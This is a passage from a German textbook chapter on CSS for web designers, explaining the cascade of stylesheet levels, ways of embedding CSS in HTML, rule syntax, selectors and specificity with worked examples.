Der Browser erhält vom Server den HTML-Code und darf/soll nun (basierend auf einer Empfehlung durch das W3C) eine erste Formatierung der Website vornehmen. Sollte es keine weitere Formatierung (z. B. durch den Webdesigner) geben, so bleibt diese Formatierung erhalten und stellt das endgültige Bild der Website dar. Diese Form der Formatierung ist in der Regel immer dann zu sehen, wenn der Webdesigner selbst noch keine eigenen Regeln geschrieben hat (diese folgen erst in den Ebenen 3 und 5) und auch der User keine eigenen Regeln aufgestellt hat (siehe das folgende User Stylesheet). Das Browser Stylesheet von Chromium-basierten Browsern ist etwa unter https://chromium.googlesource.com/chromium/blink/+/master/Source/core/css/html.css aufrufbar.

            

            	
                User Stylesheet: Hier erfolgt die Formatierung durch eine vom User installierte Software oder durch im Browser des Users vorgenommene Einstellungen.
Dieser Fall tritt in der Praxis sehr selten auf, da eine solche Software typischerweise von Menschen mit Beeinträchtigungen installiert wird. Beispiele sind: Vergrößerung der Schrift (Bildschirmlupe), Verstärkung des Farbkontrastes o. Ä. Doch auch der User selbst kann seine eigenen Regeln festlegen, entweder in Form von Einstellungen im Browser oder durch Hinzuladen einer externen CSS-Datei (siehe Abbildung 6.2).

            

            	
                Autoren-Stylesheet: Auf dieser Stufe greift die Formatierung durch den Webdesigner: unsere Spielwiese!
Hier kommen wir ins Spiel, d. h., sämtliche Formatierungsregeln, die wir in weiterer Folge festlegen, kommen nun zum Tragen.

            

            	
                Animationen: Seit dem Level 4 von CSS Cascading and Inheritance (https://www.w3.org/TR/css-cascade-4/) ist an der vierten Stelle der Bereich der Animationen hinzugekommen. Sie stellen virtuelle Regeln während des tatsächlichen Ablaufs einer Animation dar. Dieser Part ist für uns Webdesigner*innen nicht zugänglich – es ist lediglich wichtig zu wissen, dass Animationsregeln (natürlich) stärker sind als die nicht animierten Regeln.

            

            	
                Autoren-Stylesheet plus important-Deklaration: An dieser Stelle könnten wir beim Webdesign eine zweite Formatierung inklusive der Angabe von !important innerhalb einer Regel vornehmen.

                Diese Ebene sollten Sie jedoch so wenig wie möglich verwenden. Besser ist eine gut gewählte Schreibweise der Formatierungsregeln, wie Sie sie im weiteren Verlauf des Kapitels kennenlernen werden.

                
                    [image: Individuelle User-Einstellungen, die vom Browser berücksichtigt werden sollen]

                    Abbildung 6.2    
            Individuelle User-Einstellungen, die vom Browser berücksichtigt werden sollen

                
            

            	
                User Stylesheet plus important-Deklaration: Auch für den User gibt es eine zweite Formatierungsmöglichkeit durch eine von ihm installierte Software (oder eine Browsereinstellung), bei der die Deklaration !important im Rahmen einer CSS-Regel verwendet wird.

                Dass der User schlussendlich die Oberhand über die Formatierung behält (oder auch: behalten muss), liegt nahe und ist auch verständlich, denn schlussendlich müssen die Bedürfnisse eines Users berücksichtigt werden. Es wäre nicht legitim, einem Webdesigner die Herrschaft über die Darstellung einer Website am Bildschirm des Users zu geben. (Angenommen, dass der User eventuell eine größere Schriftgröße wählt: Würde diese Wahl durch den Webdesigner übertrumpft werden, so wäre dies alles andere als sinnvoll.)

                Nichtsdestotrotz sieht der aktuelle Entwurf der CSS-Kaskadierung (vgl. https://drafts.csswg.org/css-cascade/) vor, dass – neben Animationsregeln, die im Anschluss an den Block der normalen (ohne !important) und an den Block der important-Regeln abgearbeitet werden – hier nach der Ebene des User-Stylesheets mit der !important-Deklaration eine weitere Ebene eingeführt wird:

            

            	
                Browser-Stylesheet plus important-Deklaration: Auf dieser Ebene kann eine zweite Formatierung durch den Browser mittels !important erfolgen.

                Der Grund für diese Ebene ist zunächst nicht eindeutig nachvollziehbar. Bedenkt man jedoch, dass veränderte Darstellungseinstellungen des Browsers oftmals Anforderungen berücksichtigen, die einem ausgewogenen Design oder Ähnlichem förderlich sind, oder fehlen Regeln, deren Beeinflussung zu einer unvorhersehbaren Darstellung führen könnten, so wäre dies zumindest eine Rechtfertigung.

                Vergleichen Sie dazu etwa unten stehenden Code: Es würde keinen Sinn ergeben, dass ein Audio-Element eingeblendet werden kann, da Audiodaten zu keiner visuellen Darstellung führen können; lediglich die Steuerelemente (controls) müssen ein- und ausblendbar sein.

                Eine entsprechende Begründung vonseiten des W3-Konsortiums liegt jedenfalls nicht vor. Das Resultat hieraus ist jedenfalls, dass gewisse Formatierungen weder vom User noch vom Webdesigner overruled werden können. Aktuell sind beispielsweise folgende Regeln davon betroffen (Firefox, aktuelle Version):

                audio:not([controls]) {
  display: none !important;
}
iframe:fullscreen {
  border: none !important;
  padding: unset !important;
}


                Natürlich ist die Wirkung dieser Regeln Ihnen zum aktuellen Zeitpunkt noch nicht bekannt, jedoch wollte ich Ihnen diese auch nicht vorenthalten. Eventuell erinnern Sie sich am Ende des CSS-Kapitels noch einmal an meine Worte und schlagen hier erneut nach.

            

            	
                Transitions (Übergänge): Ähnlich wie die Animationseffekte stellen die Übergangseffekte virtuelle Regeln dar. Auch sie sind keine Regeln im eigentlichen Sinne, sondern beschreiben die Übergänge zwischen einzelnen Werten.

            

        

        Ein Stylesheet kann demnach aus drei unterschiedlichen Quellen stammen:

        
            	
                vom Browser selbst: Er stellt eine Art »Grundformatierung« bereit.

            

            	
                durch den User bestimmt bzw. durch eine Software des Users festgelegt: Hier wird auf »spezielle Bedürfnisse« der User Rücksicht genommen.

            

            	
                durch den Webdesigner (Autor) festgelegt: Hier kommen unsere Regeln ins Spiel.

            

        

        Bei sich überschneidenden Angaben muss der Browser schlussendlich entscheiden, welche der genannten Regeln mehr Wichtigkeit besitzen: Dies erfolgt zunächst durch die Ebenen-Hierarchie wie oben dargestellt. Dass die Abarbeitung der Formatierungsregeln in der Praxis in fünf Ebenen erfolgt, nennt man Kaskadierung. Das Wort Stylesheet bezeichnet somit eine Hierarchie-Stufe innerhalb dieser Kaskade (= Hierarchie). In weiterer Folge ermittelt der Browser dann auf Basis der sogenannte Spezifität die tatsächlich zum Einsatz kommende Regel (siehe Abschnitt 6.5).

        Auch wenn Sie noch nicht über CSS-Regeln im Einzelnen Bescheid wissen, wissen Sie ja bereits, dass solche Regeln eingesetzt werden, um die Formatierung von Elementen beeinflussen. Nun ist es wie gesagt so, dass der Browser aus unterschiedlichen Quellen (siehe oben) Regeln bereitgestellt bekommt, die sich eventuell überschneiden. Im Beispiel aus Tabelle 6.1 finden Sie die Formatierung gewisser Elemente (p: Absätze, h1–h6: Überschriften etc.), die sich manches Mal überschneiden und manches Mal nicht. Der Gewinner (also diejenige Regel, die vom Browser schlussendlich bevorzugt wird) steht ganz rechts.
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                        (Wertigkeit 1)

                    
                    	
                        Autoren-Stylesheet
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                        Autoren-Stylesheet, important

                        (Wertigkeit 3)

                    
                    	
                        User-Stylesheet, important (Wertigkeit 4)
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color:black;
}
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color:grey;
}
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color:grey;
}

                    
                

                
                    	
                        h1 {
font-size:200%;
}

                    
                    	
                    	
                    	
                    	
                    	
                        h1 {
font-size:200%;
}

                    
                

                
                    	
                        h2 {
font-size:170%;
}

                    
                    	
                    	
                        h2 {
font-size:200%;
}

                    
                    	
                        h2 {
font-size:190%
!important;
}

                    
                    	
                    	
                        h2 {
font-size:190%;
}

                    
                

                
                    	
                        body {
font-size:1em;
}

                    
                    	
                    	
                        body {
font-size:12px;
}

                    
                    	
                    	
                        body {
font-size:2em
!important;
}

                    
                    	
                        body {
font-size:2em;
}

                    
                

            
        

        Tabelle 6.1    
            Der Einsatz von Regeln in unterschiedlichen Stylesheets in der Kaskade

        Wie aus Tabelle 6.1 sehr gut ersichtlich ist, kommt bei Überschneidungen von Regeln immer die Regel aus demjenigen Stylesheet zum Einsatz, das die höhere Wertigkeit besitzt. Die hervorgehobenen Regeln sind diejenigen, die wir als Autoren beeinflussen können.

        Der Browser sortiert also auf Basis der Kaskade die Regeln und wählt diejenige Regel(n), die auf der höchsten Stufe vorkommen. Innerhalb dieser Regeln können sich jedoch weitere Überschneidungen ergeben, die alsdann mithilfe der Spezifität (siehe Abschnitt 6.5) aufgelöst werden.

    


                    
                        
        6.3    CSS und HTML – ein schönes Paar

        Um CSS-Code in ein HTML-Dokument einzubetten, stellt HTML uns entsprechende Tags zur Verfügung, die uns folgende Möglichkeiten bieten:

        
            	
                ein Tag, das typischerweise im Head-Bereich der Website eingebettet wird: <style> → CSS-Code steht direkt im jeweiligen HTML-Dokument.

            

            	
                die Einbindung einer eigenen Datei, in der der CSS-Code enthalten ist → Diese Datei (es können auch mehrere sein) wird danach mithilfe des (allgemeinen, nicht auf CSS bezogenen) <link> in das HTML-Dokument integriert.

            

            	
                das style-Attribut, das direkt einem HTML-Tag zugewiesen wird → Dies sollte in der Regel nur sehr selten zum Einsatz kommen. Warum das so ist, erläutere ich in den folgenden Abschnitten.

            

        

        
            6.3.1    So geht's: Das style-Tag

            Dieses Tag ist ein Tag zur Einbettung einer beliebigen Formatierungssprache in ein HTML-Dokument. Weil CSS – wie zuvor erwähnt – jedoch die Standardformatierungssprache für HTML ist, wird oft fälschlich angenommen, dass das <style> nur für die Integration von CSS-Regeln da ist, was eben nicht korrekt ist. Ein Browser nimmt jedoch an, dass es sich um CSS-Regeln handelt (aufgrund der Standardformatierungssprachen-Thematik).

            Das genannte Tag kann beliebig oft im HTML-Dokument verwendet werden. Sollte CSS zum Einsatz kommen, so erfolgt dies wie folgt:

            <!DOCTYPE html>
<html lang="de">
<head>
<title>CSS…</title>
<meta charset="utf-8">
<style>


            ...


            </style>
</head>
<body>
 
</body>
</html>


            Nicht mehr gebräuchlich ist die folgende Variante. Sie legt zwar exakt fest, von welchem Typ einer Formatierungssprache der beinhaltete (Formatierungs-)Code ist, ist jedoch seit der Einführung von HTML5 für die Anwendung von CSS deprecated (unerwünscht). Falls Sie eine andere Formatierungssprache als CSS einsetzen wollen, ist die Angabe dieser Sprache mithilfe des type-Attributs jedoch verpflichtend:

            <!DOCTYPE html>
<html lang="de">
<head>
<title>CSS…</title>
<meta charset="utf-8">
<style type="text/css">


            ...


            </style>
</head>
<body>
</body>
</html>


        
        
            6.3.2    So geht’s auch: Den CSS-Code in eine externe Datei auslagern

            Wird CSS-Code in externe Dateien ausgelagert, so können mehrere HTML-Dateien darauf zugreifen. Das hat den Vorteil, dass der CSS-Code nicht von einer Datei zur nächsten weiterkopiert werden muss, sondern zentral in einer Datei abgelegt werden kann (siehe Abbildung 6.3).

            
                [image: Die Datei »gemeinsam.css« wird von den drei HTML-Dokumenten »a.html«, »b.html« und »c.html« eingebettet.]

                Abbildung 6.3    
            Die Datei »gemeinsam.css« wird von den drei HTML-Dokumenten »a.html«, »b.html« und »c.html« eingebettet.

            
            Hierzu wird eine eigene Datei erzeugt, in der sich ausschließlich CSS-Code befindet (Achtung: Dort steht keine einzige Zeile HTML-Code, auch kein <style>). Typischerweise wird die CSS-Datei im <head> der Website eingebunden (es können natürlich auch mehrere CSS-Dateien eingebunden werden – pro CSS-Datei benötigen Sie dann ein eigenes <link> zum Einbetten):

            <link rel="stylesheet" href="relativer oder absoluter Pfad zur CSS-Datei">


            Das rel-Attribut im <link> kennzeichnet, dass es sich um ein Formatierungsdokument (stylesheet) handelt.

            
                [»]  <link> nur für CSS?

                Bitte beachten Sie an dieser Stelle, dass das <link> kein Tag zum Einbinden von ausschließlich CSS-Dateien ist. Vielmehr stellt es eine Möglichkeit dar, unterschiedlichste Informationen aus unterschiedlichen Quellen in das HTML-Dokument einzubinden. Weitere Informationen hierzu finden Sie etwa unter https://developer.mozilla.org/de/docs/Web/HTML/Element/link.

            

        
        
            6.3.3    So wollen wir’s nicht: Einbinden des CSS-Codes in ein style-Attribut

            Die unten gezeigte Art und Weise der Einbindung von CSS-Code ist eher unerwünscht (aus Gründen, die Sie später noch sehen werden), aber zumindest möglich. Ein wesentlicher Grund dafür, diese Art und Weise der Einbindung von CSS-Regeln nicht zu verwenden, ist, dass die Formatierungsregel direkt im Inhaltsbereich der Website steht und somit nur schwer gefunden werden kann. Ein weiterer Grund ist die Spezifität der Regeln, die auf diese Weise geschrieben werden (siehe Abschnitt 6.5 zur Spezifität).

            <p style="CSS-Code">Hallo Welt!</p>


        
    


                    
                        
        6.4    Und die Schreibweise von CSS-Regeln?

        Da CSS eine Formatierungssprache ist, beziehen sich seine Regeln auf HTML-Elemente, die Sie in einem ersten Schritt auswählen (selektieren) müssen. In weiterer Folge, also nachdem die Auswahl erfolgt ist, werden den gewünschten Eigenschaften (wie Schrift- oder Hintergrundfarbe etc.) die gewünschten Werte zugewiesen:

        
            	
                Selektion/Selektor: Auswahl aller von dieser Regel betroffenen Elemente (z. B. eine Formatierungsregel für alle Absätze: p)

            

            	
                Wahl der gewünschten Eigenschaft (z. B. Hintergrundfarbe: background-color)

            

            	
                Zuweisung eines Wertes zu dieser Eigenschaft (z. B. green)

            

        

        Eigenschaft und Wert zusammen ergeben die Deklaration.

        Beispiel: Alle Absätze sollen die Hintergrundfarbe Grün bekommen:

        
            	
                Selektor p: »alle Absätze«

            

            	
                Eigenschaft background-color: »Hintergrundfarbe«

            

            	
                Wert zur Eigenschaft green: »Grün«

                p {
  background-color:green;
}


            

        

        Erweiterung: Zusätzlich sollen diese Absätze eine rote Schriftfarbe bekommen:

        
            	
                Auswahl p: »alle Absätze«

            

            	
                Eigenschaft color: »Schriftfarbe«

            

            	
                Wert zur Eigenschaft red: »Rot«

            

        

        CSS-Code:

        p {
  background-color:green;
  color:red;
}


        
            [ ! ]  Regeln abschließen

            Jede Regel in der CSS-Formatierung muss mit einem Strichpunkt abgeschlossen werden!

        

        Die allgemeine Schreibweise ist somit:

        Selektor {
  Deklaration;
  ...
}


        mit: Deklaration = Eigenschaft:Wert

        
            [»]  Die Reihenfolge von Regeln

            Die Reihenfolge der Eigenschaften innerhalb einer CSS-Regel ist nur dann von Bedeutung, wenn eine Regel eine andere Regel betrifft.

            Beispiel:

            p {
  background-color:green;
  color:red;
  border:5px solid yellow; /* 5 Pixel breiter, durchgezogener Rahmen rund um das gesamte Element */
  border-bottom: 3px dotted cyan;
}


            Der Absatz erhält (neben Hintergrund- und Schriftfarbe) einen Rahmen, der oben und seitlich 5 Pixel stark, durchgezogen und gelb ist. Der untere Teil des Rahmens ist 3 Pixel stark, gepunktet und hat die Farbe Cyan:

            p {
  background-color:green;
  color:red;
  border-bottom: 3px dotted cyan;
  border:5px solid yellow; /* 5 Pixel breiter, durchgezogener Rahmen rund um das gesamte Element */
}


            Wie oben, jedoch gilt hier: Der gesamte Rahmen ist 5 Pixel stark, durchgezogen und gelb, da diese Regel nach der Regel für den gepunkteten Rahmen folgt und jene Regel somit überschreibt.

        

    


                    
                        
        6.5    Ein Muss: Selektionen und Spezifitäten

        Um Elemente zu formatieren, müssen sie zunächst ausgewählt werden. Stellen Sie sich beispielsweise ein Fussballspiel vor: Auf dem Platz stehen 22 Spieler (11 Spieler je Mannschaft) und ein Schiedsrichter. Weil es kein HTML-Tag wie <spieler> o. Ä. gibt, begnüge ich mich mit einem <div>. Unser HTML-Code könnte wie folgt aussehen:

        <section>
  <div><span>23</span>Emiliano Martínez</div>
  <div><span>26</span>Nahuel Molina</div>
  <div><span>13</span>Cristian Romero</div>
  <div><span>19</span>Nicolás Otamendi</div>
  <div><span>3</span>Nicolás Tagliafico</div>
  <div><span>7</span>Rodrigo De Paul</div>
  <div><span>24</span>Enzo Fernández</div>
  <div><span>20</span>Alexis Mac Allister</div>
  <div><span>10</span>Lionel Messi</div>
  <div><span>9</span>Julián Álvarez</div>
  <div><span>11</span>Ángel di María</div>
  <div><span>1</span>Hugo Lloris</div>
  <div><span>5</span>Jules Koundé</div>
  <div><span>4</span>Raphael Varane</div>
  <div><span>18</span>Dayot Upamecano</div>
  <div><span>22</span>Theo Hernández</div>
  <div><span>8</span>Aurelien Tchouameni</div>
  <div><span>14</span>Adrien Rabiot</div>
  <div><span>11</span>Ousmane Dembélé</div>
  <div><span>7</span>Antoine Griezmann</div>
  <div><span>10</span>Kylian Mbappe</div>
  <div><span>9</span>Olivier Giroud</div>
  <div>Szymon Marciniak</div>
</section>


        Grafisch dargestellt könnten wir uns das so wie in Abbildung 6.4 vorstellen.

        
            [image: Alle Personen am Spielfeld sind gleichwertig. Den Schiedsrichter erkennen wir lediglich daran, dass er keine Nummer trägt. Dafür kommen manche Nummern doppelt vor (z. B. 9, 10, 11).]

            Abbildung 6.4    
            Alle Personen am Spielfeld sind gleichwertig. Den Schiedsrichter erkennen wir lediglich daran, dass er keine Nummer trägt. Dafür kommen manche Nummern doppelt vor (z. B. 9, 10, 11).

        
        In diesem Fall sind alle Personen auf dem Spielfeld gleichwertig. Würden wir nun alle Personen auf dem Spielfeld ansprechen wollen, so könnten wir nur so argumetieren: »Eine jede Person auf dem Spielfeld ist ein <div>.« Demnach müssten wir eine Selektion für ein <div> treffen. Damit wären wir bei der ersten Möglichkeit, eine Selektion zu treffen:

        
            	
                Auswahl eines HTML-Tags (oder eines Pseudo-Elements), z. B. »alle Absätze (p)«, »alle Überschriften der dritten Hierarchiestufe (h3)« usw. → Man greift direkt auf das HTML-Tag (oder das Pseudo-Element) zu.

                div {
   ...
}


                Möchten wir jedoch jeden Spieler einer Mannschaft zuweisen, so wird das schon schwieriger, denn aktuell existiert eine solche Kennzeichnung nicht. Mithilfe des class-Attributs in HTML wird das jedoch möglich. Weist man einem oder mehreren Elementen eine Klasse zu, so kann man all diese Elemente über eine Klassenselektion auswählen:

                <section>
  <div class="argentinien"><span>23</span>Emiliano Martínez</div>
  <div class="argentinien"><span>26</span>Nahuel Molina</div>
  <div class="argentinien"><span>13</span>Cristian Romero</div>
  <div class="argentinien"><span>19</span>Nicolás Otamendi</div>
  <div class="argentinien"><span>3</span>Nicolás Tagliafico</div>
  <div class="argentinien"><span>7</span>Rodrigo De Paul</div>
  <div class="argentinien"><span>24</span>Enzo Fernández</div>
  <div class="argentinien"><span>20</span>Alexis Mac Allister</div>
  <div class="argentinien"><span>10</span>Lionel Messi</div>
  <div class="argentinien"><span>9</span>Julián Álvarez</div>
  <div class="argentinien"><span>11</span>Ángel di María</div>
  <div class="frankreich"><span>1</span>Hugo Lloris</div>
  <div class="frankreich"><span>5</span>Jules Koundé</div>
  <div class="frankreich"><span>4</span>Raphael Varane</div>
  <div class="frankreich"><span>18</span>Dayot Upamecano</div>
  <div class="frankreich"><span>22</span>Theo Hernández</div>
  <div class="frankreich"><span>8</span>Aurelien Tchouameni</div>
  <div class="frankreich"><span>14</span>Adrien Rabiot</div>
  <div class="frankreich"><span>11</span>Ousmane Dembélé</div>
  <div class="frankreich"><span>7</span>Antoine Griezmann</div>
  <div class="frankreich"><span>10</span>Kylian Mbappe</div>
  <div class="frankreich"><span>9</span>Olivier Giroud</div>
  <div>Szymon Marciniak</div>
</section>


                Listing 6.1    
            Mithilfe des »class«-Attributs werden die Spieler den Mannschaften zugeordnet.

            

            	
                Auswahl einer Gruppe von HTML-Elementen – sogenannte Klassenselektoren: Das sind Elemente,

                
                    	
                        die man zuvor in Form einer Klasse (class) gekennzeichnet hat,

                    

                    	
                        die ein gemeinsames Attribut besitzen (wie etwa einen gemeinsamen Namen – mehr dazu folgt in Abschnitt 6.5.2)

                    

                    	
                        denen man eine sogenannte Pseudoklasse zugewiesen hat (mehr dazu folgt in Abschnitt 6.5.4).

                    

                

                Die Selektion einer Klasse erfolgt mithilfe des Punktes ., gefolgt vom Klassennamen:

                .argentinien {
  ...
}
.frankreich {
  ...
}


                
                    [image: Nun sind die Spieler den Mannschaften (blau: Argentinien, grün: Frankreich) zugeordnet. Der Schiedsrichter sieht noch so aus wie zuvor.]

                    Abbildung 6.5    
            Nun sind die Spieler den Mannschaften (blau: Argentinien, grün: Frankreich) zugeordnet. Der Schiedsrichter sieht noch so aus wie zuvor.

                
                
                    [»]  Elementen mehrere Klassen zuweisen

                    Einem jeden Element in HTML können auch mehrere Klassen zugewiesen werden. Beispielsweise wäre es ja eine gute Idee, innerhalb der Mannschaften eine Kennzeichnung »Tormann«, »Abwehr«, »Mittelfeld« und »Sturm« zu treffen:

                    ...
<div class="argentinien sturm"><span>10</span>Lionel Messi</div>
<div class="argentinien sturm"><span>9</span>Julián Álvarez</div>
<div class="argentinien sturm"><span>11</span>Ángel di María</div>
...
<div class="frankreich sturm"><span>11</span>Ousmane Dembélé</div>
<div class="frankreich sturm"><span>7</span> Antoine Griezmann</div>
<div class="frankreich sturm"><span>10</span>Kylian Mbappe</div>
<div class="frankreich sturm"><span>9</span>Olivier Giroud</div>
...


                

                Aber was machen wir mit dem Schiedsrichter? Für ihn macht eine Klasse keinen Sinn, da er auf dem Spielfeld »einzigartig« ist. Haben wir diesen Fall, so würden wir das Element mit einer ID, also einem Unique Identifier versehen: mit dem id-Attribut.

            

            	
                Auswahl eines ganz speziell gekennzeichneten Elements: Hierfür wird ein (uns bereits bekanntes) HTML-Attribut namens id dem jeweiligen HTML-Tag zugewiesen.

                Die Auswahl in CSS erfolgt über das Raute-Zeichen #, gefolgt von dem id-Wert.

                Der HTML-Code sieht so aus:

                <div id="schiedsrichter">Szymon Marciniak</div>


                Und der CSS-Code so:

                #schiedsrichter {
  ...
}


                
                    [image: Nun hat auch der Schiedsrichter eine Formatierung erhalten.]

                    Abbildung 6.6    
            Nun hat auch der Schiedsrichter eine Formatierung erhalten.

                
            

        

        Die Auswahlen können auch erweitert werden, indem man sie durch Beistriche (Kommas) trennt, also z. B. so:

        p, .gr1, .gr2, #abc {
  ...
}


        Diese Regel gilt somit für alle Absätze p, alle Elemente der Klassen gr1 und gr2 sowie für das Element mit der ID abc.

        Bitte beachten Sie auch den sogenannten Universalselektor, der mit einem * angegeben wird und den Zugriff auf alle Elemente im HTML-Code ermöglicht. Der Universalselektor besitzt die geringste Spezifität und liegt demnach noch unter der Spezifität von HTML-Tags bzw. Pseudo-Elementen. Im Allgemeinen spricht man davon, dass der Universalselektor keine Spezifität besitzt, jedoch als Regel dennoch auf einem Stylesheet in der Kaskade vorkommt und deshalb auf die Formatierung Einfluss nehmen kann. Gerne wird der Universalselektor dafür eingesetzt, allen Elementen gewisse Grundeigenschaften zuzuweisen, die gegebenenfalls in weiterer Folge wieder neu gesetzt werden. Mit anderen Worten, er dient als eine Art Reset-Element:

        * {
  margin:0;
  padding:0;
  ...
}


        Kurz zur Erklärung: Im obigen Fall werden der Außen- und der Innenabstand eines jeden Elements auf 0 zurückgesetzt (Details hierzu finden Sie in Abschnitt 6.8).

        
            6.5.1    Die Berechnung der Spezifität

            Wir haben also mehrere Möglichkeiten, HTML-Elemente zu selektieren. Die Frage ist nun, ob eine Selektion mächtiger ist als eine andere. Die Antwort darauf liefert die Spezifität, die Auskunft darüber gibt, wie spezifisch eine Regel für ein Element ist:

            
                	
                    Der Zugriff auf eine ID hat die höchste Spezifität.

                

                	
                    Der Zugriff auf eine Klasse, ein Attribut oder eine Pseudo-Klasse hat die zweithöchste Spezifität.

                

                	
                    Der Zugriff auf ein HTML-Tag oder ein Pseudo-Element hat die geringste Spezifität.

                

            

            
                [»]  Die Spezifität des style-Attributs

                Die Einbindung einer CSS-Regel mithilfe des style-Attributs hat eine noch höhere Spezifität als die ID.

            

            Betrachten wir folgendes Beispiel, in dem mehrere Regeln für ein und denselben Absätze zutreffen:

            <p class="a b c" id="xy" style="color:green;">Hallo Welt!</p>


            Wir bestimmen die Spezifität einer Regel, indem wir abzählen, wie oft die Angabe einer ID, einer Klasse oder eines Tags in der Regel vorkommt:

            
                
                    
                        	
                            Regel

                        
                        	
                            style- Attribut

                        
                        	
                            id

                        
                        	
                            Klasse, Pseudo-Klasse oder Attribut

                        
                        	
                            Tag oder Pseudo-Element

                        
                        	
                            Spezifität

                        
                        	
                            Platzierung

                        
                    

                
                
                    
                        	
                            #xy { color:pink; }

                        
                        	
                            0

                        
                        	
                            1

                        
                        	
                            0

                        
                        	
                            0

                        
                        	
                            0100

                        
                        	
                            4

                        
                    

                    
                        	
                            .a.b { color:red; }

                        
                        	
                            0

                        
                        	
                            0

                        
                        	
                            2

                        
                        	
                            0

                        
                        	
                            0020

                        
                        	
                            6

                        
                    

                    
                        	
                            p { color:black; }

                        
                        	
                            0

                        
                        	
                            0

                        
                        	
                            0

                        
                        	
                            1

                        
                        	
                            0001

                        
                        	
                            8

                        
                    

                    
                        	
                            <p class="a b c" id="xy" style="color: green;">Hallo Welt! </p>

                        
                        	
                            1

                        
                        	
                            0

                        
                        	
                            0

                        
                        	
                            0

                        
                        	
                            1000

                        
                        	
                            1

                        
                    

                    
                        	
                            p.c { color:yellow; }

                        
                        	
                            0

                        
                        	
                            0

                        
                        	
                            1

                        
                        	
                            1

                        
                        	
                            0011

                        
                        	
                            7

                        
                    

                    
                        	
                            p#xy.b { color:grey; }

                        
                        	
                            0

                        
                        	
                            1

                        
                        	
                            1

                        
                        	
                            1

                        
                        	
                            0111

                        
                        	
                            3

                        
                    

                    
                        	
                            #xy.a.b { color:blue; }

                        
                        	
                            0

                        
                        	
                            1

                        
                        	
                            2

                        
                        	
                            0

                        
                        	
                            0120

                        
                        	
                            2

                        
                    

                    
                        	
                            .a.b.c { color:orange; }

                        
                        	
                            0

                        
                        	
                            0

                        
                        	
                            3

                        
                        	
                            0

                        
                        	
                            0030

                        
                        	
                            5

                        
                    

                
            

            Tabelle 6.2    
            Die Spezifität bestimmen

            Nun gehen wir in Tabelle 6.2 von links nach rechts und betrachten für eine jede Spalte die einzelnen Werte. Finden wir in einer Spalte mehrere gleiche Werte, so müssen wir in die nächste Spalte weitergehen. Daraus ergibt sich die Platzierung in unserem Wettbewerb der Regeln, und somit können wir auch bestimmen, welche Schriftfarbe der Absatz schlussendlich bekommt: Pink.

            Auf dieselbe Art und Weise bestimmt auch ein Browser, welche Regel zur Anwendung kommt, wenn sich mehrere Regeln überschneiden: pro Stylesheet-Ebene gewichtet der Browser die Regeln auf Basis der Spezifität. Das bringt uns aber auch gleich zu einer Überlegung: Was geschieht, wenn wir beispielsweise die Regel p { color:black; } wie folgt abändern?

            p { color:black !important; }


            Diese Regel findet durch die !important-Angabe auf Ebene 5 (und nicht mehr Ebene 3) der Stylesheets statt. In Abschnitt 6.2, »Die Stylesheets – so geht der Browser vor«, hatte ich jedoch beschrieben, dass jede Regel auf einer höheren Ebene alle ebenfalls für die Selektion zutreffenden Regeln auf den niedrigeren Ebenen übertrumpft. Das heißt also, dass der Paragraf nun doch schwarz und nicht mehr pink ist.

            
                [Info]  Weiter geht’s mit der Spezifität

                Die dargestellten Regeln basieren auf dem Wissen, das Sie bis jetzt haben. In den folgenden Abschnitten werden Sie noch Regeln der Art div.a > #xy p + .c.d:hover { color:cyan; } kennenlernen. Auch hier gilt wiederum: Zählen Sie das Vorkommen von IDs, Klassen (und Pseudoklassen sowie Attributen) und Tags (und Pseudo-Elementen) ab. Hieraus ergibt sich dann wieder die Spezifität. In diesem Fall wäre die Spezifität 0142: Das style-Attribut kommt nicht vor (0), eine ID wird einmal angegeben (1), es kommen drei Klassen und eine Pseudoklasse vor (4), und zweimal wird ein Tag angegeben (2). Mehr zu derartigen Regeln erfahren Sie in den folgenden Abschnitten.

            

        
        
            6.5.2    Selektion auf Basis von Attributen

            Eine zuvor bereits angeschnittene Möglichkeit der Auswahl soll an dieser Stelle noch erwähnt werden, und zwar der Zugriff auf Attribute mit bzw. ohne Attributwert.

            Nehmen Sie beispielsweise folgenden Fall an: In einem Formular existieren zwei Eingabefelder – eines vom Typ text, eines vom Typ number:

            <input type="text" ...>
<input type="number" ...>


            Normalerweise erwartet man, dass Text in einem Eingabefeld linksbündig, Zahlen jedoch rechtsbündig ausgerichtet werden. Möchten Sie also etwa auf alle Eingabefelder zugreifen, die eine Zahleneingabe erwarten, so müssten Sie mit Ihrem aktuellen Wissen den Elementen eine eigene Klasse geben, was jedoch nicht sinnvoll wäre. Über folgende Schreibweise können Sie auf Attributwerte zugreifen:

            [type=number] {
  text-align:right;
} 


            oder allgemein: [Attribut=Wert] { ... }.

            Ein anderer Fall (ebenfalls wieder in Zusammenhang mit Formularen) wäre der, dass man alle Pflichtfelder (also diejenigen, die ein required-Attribut aufweisen) besonders formatieren möchte. Nun hat das required-Attribut jedoch keinen expliziten Wert (bzw. ist kein solcher notwendig), weshalb sich die Schreibweise wie folgt vereinfacht:

            Die ausführliche Schreibweise

            [required=required] {
  border-width:2px;
  font-size:1.1em;
}


            wird zu:

            [required] {
  border-width:2px;
  font-size:1.1em;
}


            Attribute, die keinen Wert aufweisen, werden mit dem Wert des Attributs selbst belegt: required=required oder selected=selected oder checked=checked, um nur einige Beispiele zu nennen.

            
                [+]  Fortgeschrittenes Wissen

                Das können wir bzw. kann CSS jedoch besser: Spezielle CSS-Selektoren erlauben uns, effizienter zu arbeiten und auf Teile eines Attributwerts zuzugreifen:

                
                    	
                        [^="beginntMit"]: selektiert sämtliche Attribute, die mit beginntMit beginnen. [href^="https://"] selektiert beispielsweise sämtliche Elemente mit einem href-Attribut, deren Attributwert mit https:// beginnt.

                    

                    	
                        [*="beinhaltet"]: selektiert sämtliche Attribute, die beinhaltet im Namen tragen.

                    

                    	
                        [$="endetMit"]: selektiert sämtliche Attribute, die mit endetMit enden.

                    

                

            

        
        
            6.5.3    Eltern, Kinder und Geschwister – verschachtelte Elemente

            Unter dem Dokumentbaum versteht man die hierarchische Anordnung der HTML-Elemente im HTML-Code, also die Verschachtelung der HTML-Elemente ineinander. Beispielsweise wäre im Fall einer ungeordneten Liste ein jedes li unterverschachtelt im umgebenden ul:

            <ul>
  <li>Eins</li>
  <li>Zwei</li>
  <li>Drei</li>
</ul>


            Würde man den Dokumentbaum aufzeichnen, so würde dies in Form eines Organigramms oder Stammbaumes geschehen, in dem das ul das Elternteil und die li die Kinder darstellen. Um derartige Verschachtelungen mithilfe von CSS anzusprechen, sind mehrere Möglichkeiten vorhanden, die im Folgenden dargestellt werden.

            
                [»]  Noch unbekannte CSS-Befehle

